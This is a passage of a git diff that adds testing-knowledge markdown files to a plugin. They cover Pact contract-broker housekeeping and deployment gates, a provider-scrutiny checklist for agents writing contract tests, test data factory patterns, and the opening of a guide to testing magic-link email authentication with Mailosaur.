+ * Keep: last 30 days, all production tags, latest from each branch
+ */
+function cleanupOldPacts() {
+  console.log(`🧹 Cleaning up old pacts for ${PACTICIPANT}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'clean',
+      '--pacticipant',
+      PACTICIPANT,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+      '--keep-latest-for-branch',
+      '1',
+      '--keep-min-age',
+      '30',
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Check deployment compatibility
+ */
+function canIDeploy(version: string, toEnvironment: string): boolean {
+  console.log(`🔍 Checking if ${PACTICIPANT} v${version} can deploy to ${toEnvironment}`);
+
+  try {
+    execFileSync(
+      'pact-broker',
+      [
+        'can-i-deploy',
+        '--pacticipant',
+        PACTICIPANT,
+        '--version',
+        version,
+        '--to-environment',
+        toEnvironment,
+        '--broker-base-url',
+        PACT_BROKER_BASE_URL,
+        '--broker-token',
+        PACT_BROKER_TOKEN,
+        '--retry-while-unknown',
+        '10',
+        '--retry-interval',
+        '30',
+      ],
+      { stdio: 'inherit' },
+    );
+    return true;
+  } catch (error) {
+    console.error(`❌ Cannot deploy to ${toEnvironment}`);
+    return false;
+  }
+}
+
+/**
+ * Main housekeeping workflow
+ */
+async function main() {
+  const command = process.argv[2];
+  const version = process.argv[3];
+  const environment = process.argv[4] as 'staging' | 'production';
+
+  switch (command) {
+    case 'tag-release':
+      tagRelease(version, environment);
+      break;
+
+    case 'record-deployment':
+      recordDeployment(version, environment);
+      break;
+
+    case 'can-i-deploy':
+      const canDeploy = canIDeploy(version, environment);
+      process.exit(canDeploy ? 0 : 1);
+
+    case 'cleanup':
+      cleanupOldPacts();
+      break;
+
+    default:
+      console.error('Unknown command. Use: tag-release | record-deployment | can-i-deploy | cleanup');
+      process.exit(1);
+  }
+}
+
+main();
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "pact:tag": "ts-node scripts/pact-broker-housekeeping.ts tag-release",
+    "pact:record": "ts-node scripts/pact-broker-housekeeping.ts record-deployment",
+    "pact:can-deploy": "ts-node scripts/pact-broker-housekeeping.ts can-i-deploy",
+    "pact:cleanup": "ts-node scripts/pact-broker-housekeeping.ts cleanup"
+  }
+}
+```
+
+**Deployment workflow integration**:
+
+```yaml
+# .github/workflows/deploy-production.yml
+name: Deploy to Production
+on:
+  push:
+    tags:
+      - 'v*'
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Check pact compatibility
+        run: npm run pact:can-deploy ${{ github.ref_name }} production
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+
+  deploy:
+    needs: verify-contracts
+    runs-on: ubuntu-latest
+    steps:
+      - name: Deploy to production
+        run: ./scripts/deploy.sh production
+
+      - name: Record deployment in Pact Broker
+        run: npm run pact:record ${{ github.ref_name }} production
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+```
+
+**Scheduled cleanup**:
+
+```yaml
+# .github/workflows/pact-housekeeping.yml
+name: Pact Broker Housekeeping
+on:
+  schedule:
+    - cron: '0 2 * * 0' # Weekly on Sunday at 2 AM
+
+jobs:
+  cleanup:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Cleanup old pacts
+        run: npm run pact:cleanup
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+```
+
+**Key Points**:
+
+- **Automated tagging**: Releases tagged with environment
+- **Deployment tracking**: Broker knows which version is where
+- **Safety gate**: can-i-deploy blocks incompatible deployments
+- **Retention policy**: Keep recent, production, and branch-latest pacts
+- **Webhook triggers**: Provider verification runs on consumer changes
+
+---
+
+## Provider Scrutiny Protocol
+
+When generating consumer contract tests, the agent **MUST** analyze provider source code — or the provider's OpenAPI/Swagger spec — before writing any Pact interaction. Generating contracts from consumer-side assumptions alone leads to mismatches that only surface during provider verification — wrong response shapes, wrong status codes, wrong field names, wrong types, missing required fields, and wrong enum values.
+
+**Source priority**: Provider source code is the most authoritative reference. When an OpenAPI/Swagger spec exists (`openapi.yaml`, `openapi.json`, `swagger.json`), use it as a complementary or alternative source — it documents the provider's contract explicitly and can be faster to parse than tracing through handler code. When both exist, cross-reference them; if they disagree, the source code wins.
+
+### Provider Endpoint Comment
+
+Every Pact interaction MUST include a provider endpoint comment immediately above the `.given()` call:
+
+```typescript
+// Provider endpoint: server/src/routes/userRouteHandlers.ts -> GET /api/v2/users/:userId
+await provider.given('user with id 1 exists').uponReceiving('a request for user 1');
+```
+
+**Format**: `// Provider endpoint: <relative-path-to-handler> -> <METHOD> <route-pattern>`
+
+If the provider source is not accessible, use: `// Provider endpoint: TODO — provider source not accessible, verify manually`
+
+### Seven-Point Scrutiny Checklist
+
+Before generating each Pact interaction, read the provider route handler and/or OpenAPI spec and verify:
+
+| #   | Check                 | What to Read (source code / OpenAPI spec)                         | Common Mismatch                                               |
+| --- | --------------------- | ----------------------------------------------------------------- | ------------------------------------------------------------- |
+| 1   | **Response shape**    | Handler's `res.json()` calls / OpenAPI `responses.content.schema` | Nested object vs flat; array wrapper vs direct                |
+| 2   | **Status codes**      | Handler's `res.status()` calls / OpenAPI `responses` keys         | 200 vs 201 for creation; 204 vs 200 for delete                |
+| 3   | **Field names**       | Response type/DTO definitions / OpenAPI `schema.properties`       | `transaction_id` vs `transactionId`; `fraud_score` vs `score` |
+| 4   | **Enum values**       | Validation schemas, constants / OpenAPI `schema.enum`             | `"active"` vs `"ACTIVE"`; `"pending"` vs `"in_progress"`      |
+| 5   | **Required fields**   | Request validation (Joi, Zod) / OpenAPI `schema.required`         | Missing required header; optional field assumed required      |
+| 6   | **Data types**        | TypeScript types, DB models / OpenAPI `schema.type` + `format`    | `string` ID vs `number` ID; ISO date vs Unix timestamp        |
+| 7   | **Nested structures** | Response builder, serializer / OpenAPI `$ref` + `allOf`/`oneOf`   | `{ data: { items: [] } }` vs `{ items: [] }`                  |
+
+### Scrutiny Evidence Block
+
+Document what was found from provider source and/or OpenAPI spec as a block comment in the test file:
+
+```typescript
+/*
+ * Provider Scrutiny Evidence:
+ * - Handler: server/src/routes/userRouteHandlers.ts:45
+ * - OpenAPI: server/openapi.yaml paths./api/v2/users/{userId}.get (if available)
+ * - Response type: UserResponseDto (server/src/types/user.ts:12)
+ * - Status: 200 (line 52), 404 (line 48)
+ * - Fields: { id: number, name: string, email: string, role: "user" | "admin", createdAt: string }
+ * - Required request headers: Authorization (Bearer token)
+ * - Validation: Zod schema at server/src/validation/user.ts:8
+ */
+```
+
+### Graceful Degradation
+
+When provider source code is not accessible (different repo, no access, closed source):
+
+1. **OpenAPI/Swagger spec available**: Use the spec as the source of truth for response shapes, status codes, and field names
+2. **Pact Broker has existing contracts**: Use `pact_mcp` tools to fetch existing provider states and verified interactions as reference
+3. **Neither available**: Generate contracts from consumer-side types but use the TODO form of the mandatory comment: `// Provider endpoint: TODO — provider source not accessible, verify manually` and add a `provider_scrutiny: "pending"` field to the output JSON
+4. **Never silently guess**: If you cannot verify, document what you assumed and why
+
+---
+
+## Contract Testing Checklist
+
+Before implementing contract testing, verify:
+
+- [ ] **Pact Broker setup**: Hosted (Pactflow) or self-hosted broker configured
+- [ ] **Consumer tests**: Generate pacts in CI, publish to broker on merge
+- [ ] **Provider verification**: Runs on PR, verifies all consumer pacts
+- [ ] **State handlers**: Provider implements all given() states
+- [ ] **can-i-deploy**: Blocks deployment if contracts incompatible
+- [ ] **Webhooks configured**: Consumer changes trigger provider verification
+- [ ] **Retention policy**: Old pacts archived (keep 30 days, all production tags)
+- [ ] **Resilience tested**: Timeouts, retries, error codes in contracts
+- [ ] **Provider endpoint comments**: Every Pact interaction has `// Provider endpoint:` comment
+- [ ] **Provider scrutiny completed**: Seven-point checklist verified for each interaction
+- [ ] **Scrutiny evidence documented**: Block comment with handler, types, status codes, and fields
+
+## Integration Points
+
+- Used in workflows: `*automate` (integration test generation), `*ci` (contract CI setup)
+- Related fragments: `test-levels-framework.md`, `ci-burn-in.md`, `pact-consumer-framework-setup.md`
+- Tools: Pact.js, Pact Broker (Pactflow or self-hosted), Pact CLI
+
+---
+
+## Pact.js Utils Accelerator
+
+When `tea_use_pactjs_utils` is enabled, the following utilities replace manual boilerplate:
+
+| Manual Pattern (raw Pact.js)                             | Pact.js Utils Equivalent                                                          | Benefit                                                               |
+| -------------------------------------------------------- | --------------------------------------------------------------------------------- | --------------------------------------------------------------------- |
+| Manual `JsonMap` casting for `.given()` params           | `createProviderState({ name, params })`                                           | Type-safe, auto-conversion of Date/null/nested objects                |
+| Repeated builder callbacks for query/header/body         | `setJsonContent({ query, headers, body })`                                        | Reusable callback for `.withRequest(...)` and `.willRespondWith(...)` |
+| Inline body lambda `(builder) => builder.jsonBody(body)` | `setJsonBody(body)`                                                               | Body-only shorthand for cleaner response builders                     |
+| 30+ lines of `VerifierOptions` assembly                  | `buildVerifierOptions({ provider, port, includeMainAndDeployed, stateHandlers })` | One-call setup, env-aware, flow auto-detection                        |
+| Manual broker URL + selector logic from env vars         | `handlePactBrokerUrlAndSelectors({ ..., options })`                               | Mutates options in-place with broker URL and selectors                |
+| DIY Express middleware for auth injection                | `createRequestFilter({ tokenGenerator })`                                         | Bearer prefix contract prevents double-prefix bugs                    |
+| Manual CI branch/tag extraction                          | `getProviderVersionTags()`                                                        | CI-aware (GitHub Actions, GitLab CI, etc.)                            |
+| Message verifier config assembly                         | `buildMessageVerifierOptions({ provider, messageProviders })`                     | Same one-call pattern for Kafka/async contracts                       |
+| Inline no-op filter `(req, res, next) => next()`         | `noOpRequestFilter`                                                               | Pre-built pass-through for no-auth providers                          |
+
+See the `pactjs-utils-*.md` knowledge fragments for complete examples and anti-patterns.
+
+_Source: Pact consumer/provider sample repos, Murat contract testing blog, Pact official documentation, @seontechnologies/pactjs-utils library_
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/data-factories.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/data-factories.md
new file mode 100644
index 0000000..6820a30
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/data-factories.md
@@ -0,0 +1,500 @@
+# Data Factories and API-First Setup
+
+## Principle
+
+Prefer factory functions that accept overrides and return complete objects (`createUser(overrides)`). Seed test state through APIs, tasks, or direct DB helpers before visiting the UI—never via slow UI interactions. UI is for validation only, not setup.
+
+## Rationale
+
+Static fixtures (JSON files, hardcoded objects) create brittle tests that:
+
+- Fail when schemas evolve (missing new required fields)
+- Cause collisions in parallel execution (same user IDs)
+- Hide test intent (what matters for _this_ test?)
+
+Dynamic factories with overrides provide:
+
+- **Parallel safety**: UUIDs and timestamps prevent collisions
+- **Schema evolution**: Defaults adapt to schema changes automatically
+- **Explicit intent**: Overrides show what matters for each test
+- **Speed**: API setup is 10-50x faster than UI
+
+## Pattern Examples
+
+### Example 1: Factory Function with Overrides
+
+**Context**: When creating test data, build factory functions with sensible defaults and explicit overrides. Use `faker` for dynamic values that prevent collisions.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/user-factory.ts
+import { faker } from '@faker-js/faker';
+
+type User = {
+  id: string;
+  email: string;
+  name: string;
+  role: 'user' | 'admin' | 'moderator';
+  createdAt: Date;
+  isActive: boolean;
+};
+
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  role: 'user',
+  createdAt: new Date(),
+  isActive: true,
+  ...overrides,
+});
+
+// test-utils/factories/product-factory.ts
+type Product = {
+  id: string;
+  name: string;
+  price: number;
+  stock: number;
+  category: string;
+};
+
+export const createProduct = (overrides: Partial<Product> = {}): Product => ({
+  id: faker.string.uuid(),
+  name: faker.commerce.productName(),
+  price: parseFloat(faker.commerce.price()),
+  stock: faker.number.int({ min: 0, max: 100 }),
+  category: faker.commerce.department(),
+  ...overrides,
+});
+
+// Usage in tests:
+test('admin can delete users', async ({ page, apiRequest }) => {
+  // Default user
+  const user = createUser();
+
+  // Admin user (explicit override shows intent)
+  const admin = createUser({ role: 'admin' });
+
+  // Seed via API (fast!)
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/users', data: admin });
+
+  // Now test UI behavior
+  await page.goto('/admin/users');
+  await page.click(`[data-testid="delete-user-${user.id}"]`);
+  await expect(page.getByText(`User ${user.name} deleted`)).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `Partial<User>` allows overriding any field without breaking type safety
+- Faker generates unique values—no collisions in parallel tests
+- Override shows test intent: `createUser({ role: 'admin' })` is explicit
+- Factory lives in `test-utils/factories/` for easy reuse
+
+### Example 2: Nested Factory Pattern
+
+**Context**: When testing relationships (orders with users and products), nest factories to create complete object graphs. Control relationship data explicitly.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/order-factory.ts
+import { createUser } from './user-factory';
+import { createProduct } from './product-factory';
+
+type OrderItem = {
+  product: Product;
+  quantity: number;
+  price: number;
+};
+
+type Order = {
+  id: string;
+  user: User;
+  items: OrderItem[];
+  total: number;
+  status: 'pending' | 'paid' | 'shipped' | 'delivered';
+  createdAt: Date;
+};
+
+export const createOrderItem = (overrides: Partial<OrderItem> = {}): OrderItem => {
+  const product = overrides.product || createProduct();
+  const quantity = overrides.quantity || faker.number.int({ min: 1, max: 5 });
+
+  return {
+    product,
+    quantity,
+    price: product.price * quantity,
+    ...overrides,
+  };
+};
+
+export const createOrder = (overrides: Partial<Order> = {}): Order => {
+  const items = overrides.items || [createOrderItem(), createOrderItem()];
+  const total = items.reduce((sum, item) => sum + item.price, 0);
+
+  return {
+    id: faker.string.uuid(),
+    user: overrides.user || createUser(),
+    items,
+    total,
+    status: 'pending',
+    createdAt: new Date(),
+    ...overrides,
+  };
+};
+
+// Usage in tests:
+test('user can view order details', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'test@example.com' });
+  const product1 = createProduct({ name: 'Widget A', price: 10.0 });
+  const product2 = createProduct({ name: 'Widget B', price: 15.0 });
+
+  // Explicit relationships
+  const order = createOrder({
+    user,
+    items: [
+      createOrderItem({ product: product1, quantity: 2 }), // $20
+      createOrderItem({ product: product2, quantity: 1 }), // $15
+    ],
+  });
+
+  // Seed via API
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/products', data: product1 });
+  await apiRequest({ method: 'POST', url: '/api/products', data: product2 });
+  await apiRequest({ method: 'POST', url: '/api/orders', data: order });
+
+  // Test UI
+  await page.goto(`/orders/${order.id}`);
+  await expect(page.getByText('Widget A x 2')).toBeVisible();
+  await expect(page.getByText('Widget B x 1')).toBeVisible();
+  await expect(page.getByText('Total: $35.00')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Nested factories handle relationships (order → user, order → products)
+- Overrides cascade: provide custom user/products or use defaults
+- Calculated fields (total) derived automatically from nested data
+- Explicit relationships make test data clear and maintainable
+
+### Example 3: Factory with API Seeding
+
+**Context**: When tests need data setup, always use API calls or database tasks—never UI navigation. Wrap factory usage with seeding utilities for clean test setup.
+
+**Implementation**:
+
+```typescript
+// playwright/support/helpers/seed-helpers.ts
+import { APIRequestContext } from '@playwright/test';
+import { User, createUser } from '../../test-utils/factories/user-factory';
+import { Product, createProduct } from '../../test-utils/factories/product-factory';
+
+export async function seedUser(request: APIRequestContext, overrides: Partial<User> = {}): Promise<User> {
+  const user = createUser(overrides);
+
+  const response = await request.post('/api/users', {
+    data: user,
+  });
+
+  if (!response.ok()) {
+    throw new Error(`Failed to seed user: ${response.status()}`);
+  }
+
+  return user;
+}
+
+export async function seedProduct(request: APIRequestContext, overrides: Partial<Product> = {}): Promise<Product> {
+  const product = createProduct(overrides);
+
+  const response = await request.post('/api/products', {
+    data: product,
+  });
+
+  if (!response.ok()) {
+    throw new Error(`Failed to seed product: ${response.status()}`);
+  }
+
+  return product;
+}
+
+// Playwright globalSetup for shared data
+// playwright/support/global-setup.ts
+import { chromium, FullConfig } from '@playwright/test';
+import { seedUser } from './helpers/seed-helpers';
+
+async function globalSetup(config: FullConfig) {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+  const context = page.context();
+
+  // Seed admin user for all tests
+  const admin = await seedUser(context.request, {
+    email: 'admin@example.com',
+    role: 'admin',
+  });
+
+  // Save auth state for reuse
+  await context.storageState({ path: 'playwright/.auth/admin.json' });
+
+  await browser.close();
+}
+
+export default globalSetup;
+
+// Cypress equivalent with cy.task
+// cypress/support/tasks.ts
+export const seedDatabase = async (entity: string, data: unknown) => {
+  // Direct database insert or API call
+  if (entity === 'users') {
+    await db.users.create(data);
+  }
+  return null;
+};
+
+// Usage in Cypress tests:
+beforeEach(() => {
+  const user = createUser({ email: 'test@example.com' });
+  cy.task('db:seed', { entity: 'users', data: user });
+});
+```
+
+**Key Points**:
+
+- API seeding is 10-50x faster than UI-based setup
+- `globalSetup` seeds shared data once (e.g., admin user)
+- Per-test seeding uses `seedUser()` helpers for isolation
+- Cypress `cy.task` allows direct database access for speed
+
+### Example 4: Anti-Pattern - Hardcoded Test Data
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Hardcoded test data
+test('user can login', async ({ page }) => {
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', 'test@test.com'); // Hardcoded
+  await page.fill('[data-testid="password"]', 'password123'); // Hardcoded
+  await page.click('[data-testid="submit"]');
+
+  // What if this user already exists? Test fails in parallel runs.
+  // What if schema adds required fields? Test breaks.
+});
+
+// ❌ BAD: Static JSON fixtures
+// fixtures/users.json
+{
+  "users": [
+    { "id": 1, "email": "user1@test.com", "name": "User 1" },
+    { "id": 2, "email": "user2@test.com", "name": "User 2" }
+  ]
+}
+
+test('admin can delete user', async ({ page }) => {
+  const users = require('../fixtures/users.json');
+  // Brittle: IDs collide in parallel, schema drift breaks tests
+});
+```
+
+**Why It Fails**:
+
+- **Parallel collisions**: Hardcoded IDs (`id: 1`, `email: 'test@test.com'`) cause failures when tests run concurrently
+- **Schema drift**: Adding required fields (`phoneNumber`, `address`) breaks all tests using fixtures
+- **Hidden intent**: Does this test need `email: 'test@test.com'` specifically, or any email?
+- **Slow setup**: UI-based data creation is 10-50x slower than API
+
+**Better Approach**: Use factories
+
+```typescript
+// ✅ GOOD: Factory-based data
+test('user can login', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'unique@example.com', password: 'secure123' });
+
+  // Seed via API (fast, parallel-safe)
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+
+  // Test UI
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', user.email);
+  await page.fill('[data-testid="password"]', user.password);
+  await page.click('[data-testid="submit"]');
+
+  await expect(page).toHaveURL('/dashboard');
+});
+
+// ✅ GOOD: Factories adapt to schema changes automatically
+// When `phoneNumber` becomes required, update factory once:
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  phoneNumber: faker.phone.number(), // NEW field, all tests get it automatically
+  role: 'user',
+  ...overrides,
+});
+```
+
+**Key Points**:
+
+- Factories generate unique, parallel-safe data
+- Schema evolution handled in one place (factory), not every test
+- Test intent explicit via overrides
+- API seeding is fast and reliable
+
+### Example 5: Factory Composition
+
+**Context**: When building specialized factories, compose simpler factories instead of duplicating logic. Layer overrides for specific test scenarios.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/user-factory.ts (base)
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  role: 'user',
+  createdAt: new Date(),
+  isActive: true,
+  ...overrides,
+});
+
+// Compose specialized factories
+export const createAdminUser = (overrides: Partial<User> = {}): User => createUser({ role: 'admin', ...overrides });
+
+export const createModeratorUser = (overrides: Partial<User> = {}): User => createUser({ role: 'moderator', ...overrides });
+
+export const createInactiveUser = (overrides: Partial<User> = {}): User => createUser({ isActive: false, ...overrides });
+
+// Account-level factories with feature flags
+type Account = {
+  id: string;
+  owner: User;
+  plan: 'free' | 'pro' | 'enterprise';
+  features: string[];
+  maxUsers: number;
+};
+
+export const createAccount = (overrides: Partial<Account> = {}): Account => ({
+  id: faker.string.uuid(),
+  owner: overrides.owner || createUser(),
+  plan: 'free',
+  features: [],
+  maxUsers: 1,
+  ...overrides,
+});
+
+export const createProAccount = (overrides: Partial<Account> = {}): Account =>
+  createAccount({
+    plan: 'pro',
+    features: ['advanced-analytics', 'priority-support'],
+    maxUsers: 10,
+    ...overrides,
+  });
+
+export const createEnterpriseAccount = (overrides: Partial<Account> = {}): Account =>
+  createAccount({
+    plan: 'enterprise',
+    features: ['advanced-analytics', 'priority-support', 'sso', 'audit-logs'],
+    maxUsers: 100,
+    ...overrides,
+  });
+
+// Usage in tests:
+test('pro accounts can access analytics', async ({ page, apiRequest }) => {
+  const admin = createAdminUser({ email: 'admin@company.com' });
+  const account = createProAccount({ owner: admin });
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: admin });
+  await apiRequest({ method: 'POST', url: '/api/accounts', data: account });
+
+  await page.goto('/analytics');
+  await expect(page.getByText('Advanced Analytics')).toBeVisible();
+});
+
+test('free accounts cannot access analytics', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'user@company.com' });
+  const account = createAccount({ owner: user }); // Defaults to free plan
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/accounts', data: account });
+
+  await page.goto('/analytics');
+  await expect(page.getByText('Upgrade to Pro')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Compose specialized factories from base factories (`createAdminUser` → `createUser`)
+- Defaults cascade: `createProAccount` sets plan + features automatically
+- Still allow overrides: `createProAccount({ maxUsers: 50 })` works
+- Test intent clear: `createProAccount()` vs `createAccount({ plan: 'pro', features: [...] })`
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (factory setup)
+- **Related fragments**:
+  - `fixture-architecture.md` - Pure functions and fixtures for factory integration
+  - `network-first.md` - API-first setup patterns
+  - `test-quality.md` - Parallel-safe, deterministic test design
+
+## Cleanup Strategy
+
+Ensure factories work with cleanup patterns:
+
+```typescript
+// Track created IDs for cleanup
+const createdUsers: string[] = [];
+
+afterEach(async ({ apiRequest }) => {
+  // Clean up all users created during test
+  for (const userId of createdUsers) {
+    await apiRequest({ method: 'DELETE', url: `/api/users/${userId}` });
+  }
+  createdUsers.length = 0;
+});
+
+test('user registration flow', async ({ page, apiRequest }) => {
+  const user = createUser();
+  createdUsers.push(user.id);
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  // ... test logic
+});
+```
+
+## Feature Flag Integration
+
+When working with feature flags, layer them into factories:
+
+```typescript
+export const createUserWithFlags = (
+  overrides: Partial<User> = {},
+  flags: Record<string, boolean> = {},
+): User & { flags: Record<string, boolean> } => ({
+  ...createUser(overrides),
+  flags: {
+    'new-dashboard': false,
+    'beta-features': false,
+    ...flags,
+  },
+});
+
+// Usage:
+const user = createUserWithFlags(
+  { email: 'test@example.com' },
+  {
+    'new-dashboard': true,
+    'beta-features': true,
+  },
+);
+```
+
+_Source: Murat Testing Philosophy (lines 94-120), API-first testing patterns, faker.js documentation._
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/email-auth.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/email-auth.md
new file mode 100644
index 0000000..653a8eb
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/email-auth.md
@@ -0,0 +1,721 @@
+# Email-Based Authentication Testing
+
+## Principle
+
+Email-based authentication (magic links, one-time codes, passwordless login) requires specialized testing with email capture services like Mailosaur or Ethereal. Extract magic links via HTML parsing or use built-in link extraction, preserve browser storage (local/session/cookies) when processing links, cache email payloads to avoid exhausting inbox quotas, and cover negative cases (expired links, reused links, multiple rapid requests). Log email IDs and links for troubleshooting, but scrub PII before committing artifacts.
+
+## Rationale
+
+Email authentication introduces unique challenges: asynchronous email delivery, quota limits (AWS Cognito: 50/day), cost per email, and complex state management (session preservation across link clicks). Without proper patterns, tests become slow (wait for email each time), expensive (quota exhaustion), and brittle (timing issues, missing state). Using email capture services + session caching + state preservation patterns makes email auth tests fast, reliable, and cost-effective.
+
+## Pattern Examples
+
+### Example 1: Magic Link Extraction with Mailosaur
+
+**Context**: Passwordless login flow where user receives magic link via email, clicks it, and is authenticated.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/magic-link-auth.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Magic Link Authentication Flow
+ * 1. User enters email
+ * 2. Backend sends magic link
+ * 3. Test retrieves email via Mailosaur
+ * 4. Extract and visit magic link
+ * 5. Verify user is authenticated
+ */
+
+// Mailosaur configuration
+const MAILOSAUR_API_KEY = process.env.MAILOSAUR_API_KEY!;
+const MAILOSAUR_SERVER_ID = process.env.MAILOSAUR_SERVER_ID!;
+
+/**
+ * Extract href from HTML email body
+ * DOMParser provides XML/HTML parsing in Node.js
+ */
+function extractMagicLink(htmlString: string): string | null {
+  const { JSDOM } = require('jsdom');
+  const dom = new JSDOM(htmlString);
+  const link = dom.window.document.querySelector('#magic-link-button');
+  return link ? (link as HTMLAnchorElement).href : null;
+}
+
+/**
+ * Alternative: Use Mailosaur's built-in link extraction
+ * Mailosaur automatically parses links - no regex needed!
+ */
+async function getMagicLinkFromEmail(email: string): Promise<string> {
+  const MailosaurClient = require('mailosaur');
+  const mailosaur = new MailosaurClient(MAILOSAUR_API_KEY);
+
+  // Wait for email (timeout: 30 seconds)
+  const message = await mailosaur.messages.get(
+    MAILOSAUR_SERVER_ID,
+    {
+      sentTo: email,
+    },
+    {
+      timeout: 30000, // 30 seconds
+    },
+  );
+
+  // Mailosaur extracts links automatically - no parsing needed!
+  const magicLink = message.html?.links?.[0]?.href;
+
+  if (!magicLink) {
+    throw new Error(`Magic link not found in email to ${email}`);
+  }
+
+  console.log(`📧 Email received. Magic link extracted: ${magicLink}`);
+  return magicLink;
+}
+
+test.describe('Magic Link Authentication', () => {
+  test('should authenticate user via magic link', async ({ page, context }) => {
+    // Arrange: Generate unique test email
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Act: Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    // Assert: Success message
+    await expect(page.getByTestId('check-email-message')).toBeVisible();
+    await expect(page.getByTestId('check-email-message')).toContainText('Check your email');
+
+    // Retrieve magic link from email
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit magic link
+    await page.goto(magicLink);
+
+    // Assert: User is authenticated
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+    await expect(page.getByTestId('user-email')).toContainText(testEmail);
+
+    // Verify session storage preserved
+    const localStorage = await page.evaluate(() => JSON.stringify(window.localStorage));
+    expect(localStorage).toContain('authToken');
+  });
+
+  test('should handle expired magic link', async ({ page }) => {
+    // Use pre-expired link (older than 15 minutes)
+    const expiredLink = 'http://localhost:3000/auth/verify?token=expired-token-123';
+
+    await page.goto(expiredLink);
+
+    // Assert: Error message displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText('link has expired');
+
+    // Assert: User NOT authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should prevent reusing magic link', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link first time (success)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Sign out
+    await page.getByTestId('sign-out').click();
+
+    // Try to reuse same link (should fail)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText('link has already been used');
+  });
+});
+```
+
+**Cypress equivalent with Mailosaur plugin**:
+
+```javascript
+// cypress/e2e/magic-link-auth.cy.ts
+describe('Magic Link Authentication', () => {
+  it('should authenticate user via magic link', () => {
+    const serverId = Cypress.env('MAILOSAUR_SERVERID');
+    const randomId = Cypress._.random(1e6);
+    const testEmail = `user-${randomId}@${serverId}.mailosaur.net`;
+
+    // Request magic link
+    cy.visit('/login');
+    cy.get('[data-cy="email-input"]').type(testEmail);
+    cy.get('[data-cy="send-magic-link"]').click();
+    cy.get('[data-cy="check-email-message"]').should('be.visible');
+
+    // Retrieve and visit magic link
+    cy.mailosaurGetMessage(serverId, { sentTo: testEmail })
+      .its('html.links.0.href') // Mailosaur extracts links automatically!
+      .should('exist')
+      .then((magicLink) => {
+        cy.log(`Magic link: ${magicLink}`);
+        cy.visit(magicLink);
+      });
+
+    // Verify authenticated
+    cy.get('[data-cy="user-menu"]').should('be.visible');
+    cy.get('[data-cy="user-email"]').should('contain', testEmail);
+  });
+});
+```
+
+**Key Points**:
+
